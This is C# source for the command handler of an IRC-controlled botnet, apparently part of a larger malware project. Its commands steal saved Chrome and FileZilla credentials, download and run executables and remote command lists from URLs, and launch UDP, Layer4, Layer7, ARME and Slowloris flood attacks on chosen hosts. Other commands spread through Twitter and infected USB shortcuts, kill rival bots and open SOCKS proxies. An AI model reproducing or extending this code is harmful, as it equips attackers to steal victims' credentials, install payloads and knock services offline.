public static void runCommand(string command, string channel, string param1, string param2, string param3, string param4, string[] message) { switch (command) { case ".v": WriteMessage("Version:" + ColorCode(" " + Config.version) + ", Path:" + ColorCode(" '" + Config.currentPath) + "', MD5:" + ColorCode(" " + Config.botMD5) + ", Registry:" + ColorCode(" " + Config.regLocation) /*+ ", Active Threads:" + IRC.ColorCode(" " + Process.GetCurrentProcess().Threads.Count) */ + ".", channel); break; case ".avinfo": WriteMessage("Antivirus Product:" + ColorCode(" " + Functions.GetAntiVirus()) + ", Firewall Product:" + ColorCode(" " + Functions.GetFirewall()) + ".", channel); break; case ".acc": Thread a = new Thread(() => Chrome.GetChrome(param1)); a.IsBackground = true; a.Start(); break; case ".j": if (!String.IsNullOrEmpty(param1)) { sw.WriteLine("JOIN " + param1); } break; case ".p": if (!String.IsNullOrEmpty(param1)) { sw.WriteLine("PART " + param1); } break; case ".sort": sw.WriteLine("JOIN #" + Functions.GeoIPCountry()); break; case ".unsort": sw.WriteLine("PART #" + Functions.GeoIPCountry()); break; case ".permsort": if (Functions.PermType() == "a") { sw.WriteLine("JOIN #admins"); } else { sw.WriteLine("JOIN #users"); } break; case ".twitter": Thread t = new Thread(() => Twitter.StartTwitterSpread(message)); t.IsBackground = true; t.Start(); break; case ".ftp": Thread f = new Thread(FTP.GetFileZilla); f.IsBackground = true; f.Start(); break; case ".bk": if (param1 == "-i") { Thread bk = new Thread(Botkiller.explorerFlash); bk.IsBackground = true; bk.Start(); } else { Thread bk = new Thread(Botkiller.initiate); bk.IsBackground = true; bk.Start(); } break; case ".rc": IRC.Disconnect("Reconnecting..."); Thread.Sleep(15000); break; case ".up": if (!String.IsNullOrEmpty(param1) && !String.IsNullOrEmpty(param2)) { if (Ruskill.enabled) { Ruskill.enabled = false; } Thread u = new Thread(() => Functions.UpdateBot(param1, param2.ToUpper())); u.IsBackground = true; u.Start(); } break; case ".rm": Functions.Uninstall("Uninstalling..."); break; case ".dl": // .dl URL ENVIRONMENT_VARIABLE Thread dl = new Thread(() => Functions.DownloadExeFile(param1, param2, param3, false)); dl.IsBackground = true; dl.Start(); break; case ".m": if (param1 == "on") { isMuted = true; } if (param1 == "off") { isMuted = false; } break; case ".arme": if (!String.IsNullOrEmpty(param1) && !String.IsNullOrEmpty(param2) && !String.IsNullOrEmpty(param3)) { if (param1.Contains("http://")) { param1 = param1.Replace("http://", ""); } ARME.delay = Convert.ToInt32(param3); ARME.host = param1; ARME.port = Convert.ToInt32(param2); ARME.isEnabled = true; ARME.Start(); IRC.WriteMessage("ARME flood started on" + IRC.ColorCode(" " + ARME.host) + " on port" + IRC.ColorCode(" " + ARME.port) + " for" + IRC.ColorCode(" " + ARME.delay) + " seconds.", IRC.channel); } break; case ".layer7": if (!String.IsNullOrEmpty(param1) && !String.IsNullOrEmpty(param2) && !String.IsNullOrEmpty(param3)) { if (param1.Contains("http://")) { param1 = param1.Replace("http://", ""); } Layer7.delay = Convert.ToInt32(param3); Layer7.host = param1; Layer7.port = Convert.ToInt32(param2); Layer7.isEnabled = true; Layer7.Start(); IRC.WriteMessage("Layer7 flood started on" + IRC.ColorCode(" " + Layer7.host) + " on port" + IRC.ColorCode(" " + Layer7.port) + " for" + IRC.ColorCode(" " + Layer7.delay) + " seconds.", IRC.channel); } break; case ".layer4": if (!String.IsNullOrEmpty(param1) && !String.IsNullOrEmpty(param2) && !String.IsNullOrEmpty(param3)) { if (param1.Contains("http://")) { param1 = param1.Replace("http://", ""); } Layer4.delay = Convert.ToInt32(param3); Layer4.host = param1; Layer4.port = Convert.ToInt32(param2); Layer4.isEnabled = true; Layer4.Start(); IRC.WriteMessage("Layer4 flood started on" + IRC.ColorCode(" " + Layer4.host) + " on port" + IRC.ColorCode(" " + Layer4.port) + " for" + IRC.ColorCode(" " + Layer4.delay) + " seconds.", IRC.channel); } break; case ".udp": if (!String.IsNullOrEmpty(param1) && !String.IsNullOrEmpty(param2) && !String.IsNullOrEmpty(param3)) { if (param1.Contains("http://")) { param1 = param1.Replace("http://", ""); } UDP.delay = Convert.ToInt32(param3); UDP.host = param1; UDP.port = Convert.ToInt32(param2); UDP.isEnabled = true; UDP.Start(); IRC.WriteMessage("UDP flood started on" + IRC.ColorCode(" " + UDP.host) + " on port" + IRC.ColorCode(" " + UDP.port) + " for" + IRC.ColorCode(" " + UDP.delay) + " seconds.", IRC.channel); } break; case ".slow": if (!String.IsNullOrEmpty(param1) && !String.IsNullOrEmpty(param2) && !String.IsNullOrEmpty(param3)) { if (param1.Contains("http://")) { param1 = param1.Replace("http://", ""); } Slowloris.delay = Convert.ToInt32(param3); Slowloris.host = param1; Slowloris.port = Convert.ToInt32(param2); Slowloris.isEnabled = true; Slowloris.Start(); IRC.WriteMessage("Slowloris flood started on" + IRC.ColorCode(" " + Slowloris.host) + " on port" + IRC.ColorCode(" " + Slowloris.port) + " for" + IRC.ColorCode(" " + Slowloris.delay) + " seconds.", IRC.channel); } break; case ".stop": if (ARME.isEnabled || Layer7.isEnabled || Layer4.isEnabled || UDP.isEnabled || Slowloris.isEnabled) { ARME.Stop(); Layer7.Stop(); Layer4.Stop(); UDP.Stop(); Slowloris.Stop(); IRC.WriteMessage("All active floods have been aborted.", channel); } break; case ".read": if (!String.IsNullOrEmpty(param1)) { using (WebClient wc = new WebClient()) { IRC.WriteMessage("Attempting to perform commands from url:" + IRC.ColorCode(" " + param1) + ".", channel); Functions.DecryptTopic(wc.DownloadString(param1)); } } break; case ".ruskill": if (!String.IsNullOrEmpty(param1)) { if (param1 == "on" && Ruskill.enabled == false) { Thread r = new Thread(Ruskill.StartRuskill); r.IsBackground = true; r.Start(); } else if (param1 == "off") { Ruskill.enabled = false; } } break; case ".socks": Thread s = new Thread(() => Functions.Socks(param1, param2)); s.IsBackground = true; s.Start(); break; case ".usb": try { if (param1 == "on") { USBlnk.initiated = true; Thread usb = new Thread(USBlnk.StartLNK); usb.IsBackground = true; usb.Start(); } else if (param1 == "off") { USBlnk.initiated = false; USBlnk.Stop(); } } catch { } break; default: break; } }